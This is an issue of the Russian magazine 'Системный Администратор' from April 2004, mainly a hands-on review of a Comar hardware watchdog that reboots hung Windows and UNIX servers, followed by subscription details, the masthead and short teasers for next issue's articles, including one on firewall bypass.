На прошлой неделе редакция нашего журнала попросиламеня провести тестирование в боевых условиях устройстваwatchdog, предназначенного для мониторинга и восстанов-ления работоспособности зависших серверов через прину-дительный перезапуск. На первый взгляд такое устройствоимеет немного шансов для массового применения, так каклюбой сервер априори задумывается как сущность, котораядолжна работать круглосуточно и бесперебойно. Многиесистемные администраторы гордятся тем, что под их коман-дованием есть сервера, которые функционируют без пере-загрузки по 360 дней и более. В то же время серверные опе-рационные системы специально разрабатываются с прице-лом именно на такой режим использования. Хотя, судя помоему опыту эксплуатации разнообразных серверных сис-тем, это еще ничего не значит, и как показывает практика,вместо исправленных ошибок постоянно находятся новые.К сожалению, на свете не существует безошибочных про-грамм, плюс ко всему довольно часто на сервере работаютслужбы, написанные сторонними производителями. А это всвою очередь также добавляет в систему нестабильности.Учитывая то, что мы живем в неидеальном мире, часто скла-дывается ситуация, когда сам сервер настроен не очень пра-вильно из-за недопонимания основ функционирования сис-темы или халатности администратора. Поэтому довольно ча-сто случается, что сервера виснут намертво в самый непод-ходящий момент. Хорошо, если администратор рядом, а чтоделать, если его нет поблизости и никто не знает, что де-лать. Или представим, что зависание произошло ночью, ехатьна другой конец города только ради того, чтобы запуститьзлополучный сервер, удовольствие не из тех, что хочетсяиспытывать как можно чаще.

Порыскав в сети, удалось узнать, что производителемустройства является Comar Technology. Честно говоря, сайтwww.comar.ru дизайном не впечатлил, впрочем, тут же поду-малось о том, что это не самое главное, поэтому, закрывглаза на мелкие недочеты, я углубился в чтение техничес-ких спецификаций, инструкций по применению прибора иотзывов тех, кому уже пришлось воспользоваться даннымустройством. Закончив с этим занятием, решил принятьстоль любезное предложение, да и самому было весьма ин-тересно попробовать на зуб эту диковинку. Примерно черезсутки расторопный и ужасно деловитый курьер DHL доста-вил загадочную посылку прямо на мой рабочий стол. С не-терпением разорвав упаковку, я стал разбираться в том, чтонаходилось в заветном пакете. Итак, давайте посмотрим, чтовходит в стандартную поставку устройства watchdog.

Сам прибор выглядит довольно просто, в то же времяпрезентабельно, плюс ко всему выполнен из ударопрочно-го пластика, что отнюдь не маловажно в наше неспокой-ное время. В переднюю панель прибора встроены красныйи зеленый светодиоды, служащие для индикации состоя-ния самого устройства и наблюдаемого сервера. Там женаходятся два переключателя. Черный подает питание наустройство, а серый разрешает ему работать в режиме мо-ниторинга. Если перевести серый переключатель в поло-жение «выкл», то прибор превращается в обычный элект-рический удлинитель и не пытается вмешиваться в работусервера. Такой режим полезен при первоначальной на-стройке сервера.

Далее идет шнур RS232 для подключения к COM-пор-ту компьютера. Два дополнительных провода бледноро-зового цвета служат для присоединения к кнопке reset илиpower подопытного сервера. Это в свою очередь помога-ет правильно управлять питанием ATX серверов. В моемслучае использовался именно такой сервер.

Следом за двумя вышеперечисленными предметамииз коробки был извлечен знакомый всем до боли кабельдля подвода электропитания.

Page 92: 017 Системный Администратор 04 2004

90

hardware

И на закуску прилагается CD-диск с документацией иприкладным программным обеспечением. Кстати, стоитотметить хорошее чувство юмора человека, писавшегодокументацию и комментарии внутри всех конфигураци-онных файлов.

Итак давайте разберемся с тем, как работает весь ком-плекс. Приглядевшись к задней стороне прибора, видим,что электропитание стандартным шнуром подается наустройство и с него уже передается на сервер.

Таким образом, становится понятно, что watchdog мо-жет выключать и включать сервер, размыкая и соединяявновь питающую цепь. Любопытный читатель обязатель-но спросит о том, как watchdog определяет, в каком со-стоянии находится наблюдаемый объект. Все очень про-сто: кабель RS232, о котором мы говорили ранее, подсое-диняется одним концом к прибору, а вторым – к COM-портусервера. На сервере устанавливается и запускается де-мон watchdogd, который через определенные промежут-ки времени посылает по кабелю Live-пакет. Устройстволовит его и понимает, что дела у сервера идут отлично ипока вмешиваться в работу системы не нужно. Два до-полнительных провода подсоединяются к контактам кноп-ки power или reset. Довольно часто бывает, что после по-тери питания сервера, собранные в ATX-корпусах, не под-нимаются самостоятельно при восстановлении подачи пи-тания. Благодаря дополнительным проводам watchdogумеет правильно реанимировать их. Запуск сервера бу-дет происходить точно так же, как если бы человек нажална кнопку power.

Итак, разобравшись с основными принципами фун-кционирования следящего комплекса, давайте перей-дем к практическим испытаниям работоспособностипредлагаемой технологии. Пожалуй, начнем экспери-ментировать на сервере, работающем под управлени-ем Windows.

С помощью стандартного кабеля подаем питание наприбор watchdog и подсоединяем к нему сервер с помо-щью кабеля RS232. Сервер запитываем пока не отwatchdog, а от обычной электросети. Включаем черныйи серый переключатели. Оба светодиода начинают син-хронно мигать раз в секунду. Это означает что приборнаходится в режиме ожидания контакта с демономwatchdogd. Поступаем мы так с той целью, чтобы нео-сторожными движениями в процессе настройки и отлад-ки не уронить наш сервер.

Инсталляция программного продукта начинается до-вольно буднично – с выбора каталога, где он впоследствиибудет жить.

Затем нужно определить, в какой комплектации про-грамма будет установлена. Тоже, казалось бы, простая за-дача. Но в реальной жизни все не так просто.

Вот тут нас уже поджидают первые неполадки. На сним-ке экрана четко видно, что нам предоставлена возмож-ность самостоятельно выбрать, какие именно компонен-ты необходимо поставить. Свое волеизъявление можновыразить двумя путями, либо расставляя галочки рядомс нужными частями программного обеспечения, либо выб-рав из ниспадающего меню одно из предопределенныхтипов установки. До тех пор, пока вы пользуетесь вариан-том «Полная установка», никаких проблем быть не долж-но. Но стоит только выбрать опцию «Выборочная» или«Только документация», или отключить галочку напротивкомпонента «Серверное ПО», как вы начинаете стреми-тельно приближаться к граблям, забытым разработчика-ми в коде инсталлятора.

Дело в том, что в систему при данном раскладе небудет установлена ни служба watchdogd, ни вспомога-тельные утилиты. Соответственно при завершении ус-тановки получаем ошибку, запечатленную на следующемснимке.

Ничего удивительного в этом нет, инсталлятор всеголишь пытается запустить несуществующую службу. Не-приятно, но все же не смертельно. После установки в си-стемном меню появляются вот такие пункты.

Page 93: 017 Системный Администратор 04 2004

91№4(17), апрель 2004

hardware

Конечно, кроме пунктов, связанных с документацией,больше ничего в этом меню не функционирует. Ситуациюспасает лишь повторная установка полного набора ком-понентов. Все программы начинают нормально работатьтолько при таком варианте инсталляции.

Закончив с установкой, приступаем к конфигуриро-ванию. Производится оно с помощью редактированияфайла настроек, находящегося по следующему пути –C:\Program Files\Comar\Watchdog\watchdog.conf. Тут насожидает очередной ляпсус, все комментарии в файле кон-фигурации написаны в кодировке koi8-r, что, скажем, выг-лядит довольно странно в системах Windows, родной ко-дировкой для которых является cp-1251. Комментариипочитать очень хочется, поэтому приходится одной копиифайла дать расширение html и открыть ее в InternetExplorer, чтобы появилась возможность переключать ко-дировку текста, а вторую в редакторе дабы вносить в файлизменения, закрыв глаза на каракули. Опции, на значе-ния которых нужно обратить пристальное внимание, пе-речислены ниже:! rs_port – имя COM-порта, к которому подключен кабель

от устройства watchdog. В моем случае это был COM1.Определить, какой порт будет у вас, можно, перебраввсе возможные. Думаю, это будет нетрудно, ведь ихвсего четыре.

! test_host – адрес тестируемого хоста. Обычно исполь-зуется localhost.

! test_port – порт тестируемой службы. Эта опция позво-ляет сервису watchdog проводить дополнительные про-верки жизнеспособности машины. К примеру, можетслучиться так, что сервер отвечает по сети на ping, новсе службы, кроме watchdog, на нем уже в нерабочемсостоянии. Таким образом, указав номер порта инте-ресующей службы, можно быть четко уверенным, чтоwatchdog не перезапустит машину до тех пор, пока на-блюдаемая служба жива. Для моего тестового серве-ра таким показателем служит 135-й порт, задейство-ванный в стандартной реализации интерфейса вызо-ва удаленных процедур (RPC). Ну а вы, к примеру, мо-жете выбрать любой другой порт, на котором работа-ет интересная для вас служба. Кандидатом на этот по-четный пост может выступить, например, ssh, telnet,smtp или любая другая служба.

! ctl_secret – секретная фраза, которая будет использо-ваться во время общения между демоном watchdogd иустройством. Такая мера применяется ради повыше-ния безопасности, хотя мне кажется весьма сомнитель-ным, что кто-то будет пытаться взломать устройство сцелью получить контроль над ним. Непонятно, как сде-лать это без физического доступа к устройству. В тоже время, если есть физический доступ, то, наверное,целесообразнее взламывать сам сервер.

После того как эти минимальные настройки выполне-

ны, можно пытаться запустить сервис watchdog. Немногоподумав, специально решил проверить, каким образомобстоит дело с отладочными сообщениями и насколькоудобно будет проводить по ним диагностику неисправнос-тей и ошибок конфигурирования. Задавшись такой целью,я намеренно внес ошибки в конфигурационный файл. Про-блема была в том, что я не вписал секретное слово в оп-цию ctl_secret. Как и ожидалось, ни с первого, ни с какого-либо другого раза запустить сервис не удалось, в ответ навсе попытки на экране появлялось вот такое сообщение.

Ну что же, раз методом грубой силы заставить рабо-тать программу не удалось, значит будем искать причинунеполадок. Посмотрев в системный журнал, в котором хра-нятся данные, связанные с работой приложений, можноувидеть записи о таком критическом событии.

Как видите, сообщение об ошибке, несмотря на своюкраткость, точно и исчерпывающе описывает суть пробле-мы и явно указывает номер строки, а также опцию, на ко-торой споткнулась программа. Удовлетворенные получен-ным результатом, ставим программе еще один жирныйплюс. Исправив ошибку в конфигурационном файле, сно-ва пытаемся запустить сервис. В этот раз все прошло какпо маслу, сервис удачно стартовал, и в журнале систем-ных событий можно увидеть следующие записи.

Page 94: 017 Системный Администратор 04 2004

92

hardware

После того как демон успешно связался с устрой-ством, зеленый светодиод начинает редко мигать. Такоесостояние дел указывает на то, что сервер в порядке иустройство работает в штатном режиме. Плюс ко всемув директории C:\Program Files\Comar\Watchdog\log\ по-явятся файлы протокола, отражающие четкую последо-вательность происходивших событий и действий, пред-принятых устройством в случае, если требовалось еговмешательство.

Думаю, что вышеприведенные записи в файле прото-кола, описывающие ход одного из моих экспериментов,довольно легко понять. Судя по надписям, я очень частопрерывал работу устройства и сервера самыми разнымиспособами. Если обратиться к документации, то можноузнать, что именно означает каждое ключевое слово и ка-кие события стоят за ним:! watchdog on – произошло включение устройства;! repower – watchdog выполнил прерывание питания сер-

вера;! notify: boot – произошел первый запуск демона;! restart procedure – начата процедура перезапуска сер-

вера;! normal shutdown – сервер начал плановую остановку,

в отличие от события repower, четко видно, что тут вме-шался пользователь и вручную остановил сервер;

! watchdog locked – устройство вошло в режим блоки-ровки;

! watchdog unlocked – устройство разблокировано;! reset – watchdog перезапущен командой reset.

Изначально все события между перезагрузками сер-вера хранятся в энергонезависимой памяти устройстваи в момент удачного контакта с демоном watchdogd за-писываются в файл протокола на жестком диске. Такаявозможность мне кажется очень полезной, поэтому до-бавляем комплексу еще один плюс. Даже при многократ-ных перезагрузках сервера, происходивших в отсутствиеадминистратора, протокол не портится и продолжает по-полняться событиями. Время, которым помечены все про-исходившие события, обязательно будет совпадать с вре-

менем системных часов сервера. Это возможно реали-зовать благодаря тому, что в устройство встроены авто-номные часы с питанием от батарейки. При полученииLive-пакета часы устройства будет установлены на то жесамое время, что и часы сервера. При таком потребле-нии батарейки должно хватить на долгие годы. Кстати,при желании можно легко заглянуть внутрь прибора исамолично оценить простоту и изящество внутреннегоустройства.

Кстати, стоит отметить, что производитель устройстване запрещает вам самостоятельно собирать прибор, насайте компании можно свободно скачать принципиальнуюсхему устройства. Так же есть возможность переделыватьпрограмму демон под свои собственные нужды, хотя уда-лять реквизиты фирмы создателя, выводимые на экранво время загрузки программы, запрещено. Второе огра-ничение накладывается на продажу третьим лицам при-боров созданных самостоятельно. Впрочем, судя по заяв-лениям разработчиков, и этот вопрос вполне решаем, ви-димо нужно будет отчислять некоторые проценты с про-даж в пользу развития проекта.

Итак, завершив начальные тесты, пришло время занять-ся серьезными вещами. Выключаем сервер через систем-ное меню, созданное watchdog, или через использованиепрограммы wd_ctl. В результате этого действия сервер дол-жен быть остановлен, и оба светодиода должны погаснуть.

Если все произошло именно так, значит watchdog сей-час находится в состоянии блокировки и не будет пытать-ся поднимать сервер, даже если мы отключим устройствои сервер от электропитания, а потом снова включим. При-знак блокировки записывается в энергонезависимую па-мять и хранится там до тех пор, пока мы самостоятельноне включим сервер и автоматически запущенный демонwatchdogd не снимет его первым Live-пакетом.

Теперь нам нужно отключить сервер от электросетидля того, чтобы запитать его от устройства watchdog. Сде-лав это, затаим на секунду дыхание и нажмем на кнопку«power». Как и ожидалось, сервер загрузился, и устрой-ство перешло в штатный режим работы.

А теперь давайте проверим, как устройство отреаги-рует на потерю сигнала, с этой целью отключаем от сер-вера кабель RS232 либо останавливаем демона. В зави-симости от настроек устройство ждет прибытия сигналаот демона строго отведенное время и затем начнет под-готовку к перезапуску сервера. Красный светодиод нач-

Page 95: 017 Системный Администратор 04 2004

93№4(17), апрель 2004

hardware

нет часто мигать, указывая на то, что сейчас произойдетпрерывание питания. Если присоединить кабель на мес-то или вновь запустить демона, то положение нормализу-ется и снова редко замигает зеленый огонек, но мы де-лать этого не станем. Еще через несколько секунд крас-ный огонек начнет гореть постоянно, и мы услышим ха-рактерный щелчок реле, разрывающего цепь питания.Сервер должен пройти через стандартную процедуру заг-рузки, интересно, что будет, если начать вмешиваться вэтот процесс и не давать ему завершиться. С этой цельюможно или нажать и удерживать любую клавишу, тем са-мым генерируя ошибку диагностики клавиатуры, либо сра-зу после завершения диагностики входить в настройкуBIOS. Таким образом мы сможем имитировать потенци-ально опасные ситуации, такие как возникновение аппа-ратных неполадок на сервере или, к примеру, долгий про-цесс починки файловой системы. Как только время, отве-денное на нормальную загрузку сервера (по умолчаниюэто пять минут) истечет, watchdog снова прервет питание.Но мы опять не даем серверу нормально загрузиться.Подождав еще пять минут, устройство снова перезагру-зит сервер, в случае неудачи такая последовательностьбудет повторена еще один раз. Поняв, что так быстро сер-вер поднять невозможно, watchdog увеличит интерваложидания до 30 минут.

Стоит заметить, что все настройки, влияющие на по-ведение watchdog, можно изменить сообразно собствен-ному понимаю того, как должна вести себя мониторинго-вая система. Исхода у описанных выше событий можетбыть два: либо сервер поднимется после столь долгойпаузы самостоятельно и watchdog это сразу же заметит,либо после нескольких проходов по циклу наступит рабо-чий день и администратор вмешается в ход событий. Та-кая интеллектуальность в выполнении функций позволя-ет быть уверенным, что watchdog не доведет сервер досмерти бесконечными перезапусками.

Закончив изуверские фокусы с Windows, перейдем кUNIX-системам. Тестирование устройства производилосьпод управлением ALT Linux Master 2.2 и FreeBSD 4.9. Про-цесс сборки и последующей инсталляции прост, как трикопейки, а посему доступен даже самому неопытному ад-министратору. Большим плюсом программного обеспече-ния watchdog является тот факт, что оно написано на язы-ке C и не содержит в себе каких-либо объектно-ориентиро-ванных излишеств, поэтому для его компиляции не нужноникаких сторонних пакетов, только стандартные библиоте-ки языка C. Такая простота, заложенная в изначальныйдизайн программы, позволяет перенести ее на любую UNIX-платформу без каких-либо существенных изменений.

Нынче же приступим к компиляции, для этого нужновсего лишь распаковать исходные тексты демона и ути-лит, затем перейти в получившуюся директорию и выпол-нить команду make. Конфигурационный файл будет ско-пирован в /etc/watchdog.conf, а демон и вспомогательныеутилиты – в /sbin. Протоколы работы будут складыватьсяв /var/log/watchdog. Для Linux создаем свой собственныйскрипт загрузки демона в каталоге /etc/rc.d, где хранятсясценарии запуска всех остальных системных демонов ине забываем создать на него ссылку из каталога пред-

ставляющего соответствующий уровень выполнения. ДляFreeBSD такую команду можно добавить в системныйфайл /etc/rc или создать свой скрипт в /usr/local/etc/rc.d.Если файл конфигурации демона watchdogd по какой-либопричине называется не /etc/watchdog.conf, то нужно обя-зательно передать демону правильное имя с помощьюопции –f. Кроме изменения настроек /etc/watchdog.conf,больше можно ничего не делать. Впрочем, изменять на-стройки несложно, так как файлы конфигурации идентич-ны для Windows и UNIX-платформ. В остальном же функ-ционирование программы под управлением UNIX ничемне отличается от работы Windows.

Еще одним интересным для нас моментом являетсяпонятие «мертвая зона». Во время загрузки сервера быва-ют такие моменты, когда процессы, происходящие внутри,лучше не прерывать. Примером такого опасного процессаможет служить программа fsck, выполняющая починкуфайловой системы после неудачного завершения работы.В такие моменты самое лучшее, что может сделатьwatchdog, – это не вмешиваться в естественный ход собы-тий. Под UNIX такого эффекта добиться довольно легко,нужно всего лишь добавить в системные скрипты передкомандой fdisk команду wd_ctl dzone_in, указывающуюwatchdog, что сервер вошел в мертвую зону и его нельзятревожить. И затем команду wd_ctl dzone_out, уведомляю-щую устройство о том, что мертвая зона благополучно прой-дена. По идее, никто не мешает нам описать не одну, а не-сколько мертвых зон при необходимости. К сожалению, подWindows выполнить подобные трюки, по крайней мере сей-час, невозможно по той простой причине, что не совсемпонятно, как встроить выполнение своей программы в сис-темный загрузчик, не нарушив ход его выполнения.

Мое повествование о работе с watchdog подходит кконцу. Хотелось бы сказать, что комплекс кажется мне до-статочно зрелым и надежным для того, чтобы его можнобыло с успехом применять в мониторинге серверов. Оченьпонравилась гибкость настроек и простота конфигуриро-вания устройства. Собственноручно протестировав всережимы работы прибора, могу сказать, что его поведе-ние точно соответствует характеристикам, заявленнымразработчиками. За исключением мелких ошибок, о ко-торых я писал выше по тексту, нескольких опечаток в до-кументации и довольно скудного описания процесса ин-сталляции на UNIX-платформу недостатков найдено небыло. Кстати, еще интересен вопрос о том, как watchdogбудет справляться с оборудованием, у которого два неза-висимых ввода питания и автоматическое переключениемежду ними. Видимо, для этого придется создавать ка-кую-то новую модель устройства. В качестве пожеланияразработчикам можно сказать, что хотелось бы видеть не-сколько устройств watchdog, собранных в один корпус, та-ким образом, разработка будет лучше всего подходить длямонтажа в стандартную серверную стойку. В такой видустройства можно было бы и веб-интерфейс встроить.

Хочется выразить огромную благодарность Владими-ру Ропаеву за труды по созданию фотографий, использо-ванных в этой статье. На этой приятной ноте хотелось бызакончить на сегодня наше, надеюсь, приятное для мно-гих общение.

Page 96: 017 Системный Администратор 04 2004
Page 97: 017 Системный Администратор 04 2004

95№4(17), апрель 2004

подписка на II полугодие 2004

Подписныеиндексы:

81655по каталогуагентства«Роспечать»

87836по каталогуагентства«Пресса России»

Российская Федерация! Подписной индекс: 81655

Каталог агентства «Роспечать»! Подписной индекс: 87836

Объединенный каталог «Пресса России»Адресный каталог «Подписка за рабочим столом»Адресный каталог «Библиотечный каталог»

! Альтернативные подписные агентства:Агентство «Интер-Почта» (095) 500-00-60, курьерскаядоставка по МосквеАгентство «Вся Пресса» (095) 787-34-47Агентство «Курьер-Прессервис»

! Подписка On-linehttp://www.arzy.ruhttp://www.gazety.ruhttp://www.presscafe.ru

СНГВ странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенк-латуры АРЗИ:! Казахстан – по каталогу «Российская Пресса» через

ОАО «Казпочта» и ЗАО «Евразия пресс»! Беларусь – по каталогу изданий стран СНГ через РГО

«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российскиеиздания через агентство по распространению печати«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,5/3, офис 33)

! Азербайджан – по объединенному каталогу российс-ких изданий через предприятие по распространениюпечати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Армения – по списку номенклатуры «АРЗИ» черезГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,ул.Сарьяна, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-дия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей»(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)по списку через ГУП «Почта Приднестровья» (МD-3300,г.Тирасполь, ул.Ленина, 17)по прайслисту через ООО Агентство «Editil Periodice»(2012, г.Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины:Киевский главпочтампПодписное агентство «KSS»Телефон/факс (044)464-0220

Page 98: 017 Системный Администратор 04 2004

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№4(17), Апрель, 2004 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАндрей БешковНаучно-технические консультантыДмитрий ГоряиновВалерий ЦукановВладимир Мешков

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

103045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр ПоложевецУЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 7000 экз.Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

INSERT – Inside SecurityRescue ToolkitБешеная популярность GNU/Linux не впоследнюю очередь обусловлена на-личием большого количества узконап-равленных дистрибутивов, адаптиро-ванных для выполнения определенныхузконаправленных задач. Наиболеепопулярны среди них firewalls, позво-ляющие настроить доступ в Интернет,в том числе и не подготовленномупользователю. Также в последнее вре-мя становятся популярными дистрибу-тивы, предназначенные для анализасетевой безопасности удаленных илокальных вычислительных систем исетей, в основном в виде LiveCD-дист-рибутивов, позволяющих проделатьвсе необходимые операции без уста-новки системы на жесткий диск. При-чем некоторые разработки могут прий-тись по вкусу и закоренелым пользо-вателям Windows систем, т.к. могутоказаться тем единственным подруч-ным средством, при помощи которогоможно спасти свои данные. Об одномтаком дистрибутиве и пойдет речь да-лее. INSERT – Inside Security RescueToolkit так называется LiveCD-дистри-бутив, от Inside Security IT ConsultingGmbH, предназначенный в первую оче-редь для решения задач по спасениюданных и также для сетевого анализа.

Побег через брандмауэрплюс терминализациявсей NTВ настоящей статье рассматривают-ся различные способы обхода бранд-мауэров с целью организации на ата-куемом компьютере удаленного тер-минального shell, работающего подоперационными системами UNIX иWindows 9x/NT.

Здесь вы найдете передовые ха-керские методики, свободно проника-ющие через любой, абсолютно любойбрандмауэр независимо от его архи-тектуры, степени защищенности иконфигурации, а также свободно рас-пространяемый пакет демонстраци-онных утилит, предназначенный длятестирования вашего брандмаузерана предмет его защищенности (или жеотсутствие таковой).

Статья ориентирована на специа-листов по информационной безопас-ности и системных администраторов,знакомых с языком Си и имеющихопыт работы с Berkley-сокетами.

MRTG и snort«Лучше один раз увидеть, чем сто разуслышать», – гласит пословица. Мно-гие вещи в большинстве своём мылучше воспринимаем, когда видим их.Не всякая графическая информациянами воспринимается одинаково хо-рошо. Выдать данные наглядно – этоцелое искусство, (спрятать данные –тоже искусство). Несомненно, инфор-мация об атаках может быть отобра-жена по-разному. В этой статье будетрассказано, как настроить на совме-стную работу MRTG – средство визу-ализации происходящего и системуобнаружения атак Snort.

ЗеркалированиеинформацииВ этой статье будет рассказано о со-здании простой и удобной системызеркалирования информации с помо-щью пакета CVSup – пакета программдля передачи и обновления файловчерез сеть.

Трудно переоценить ту пользу, ко-торую приносят нам резервные копии,заботливо нами же и сделанные.Сколько нервов и времени не былоблагодаря им потрачено впустую…

Процесс зеркалирования хоть исхож по смыслу, но все же несколькоотличается от классического резерв-ного копирования информации. Болеетого, зеркалирование в полной мерене сможет его заменить. А зачем жетогда его использовать зеркалирова-ние, если оно не заменит процессстандартного бэкапа? Рассмотрим нанебольшом примере.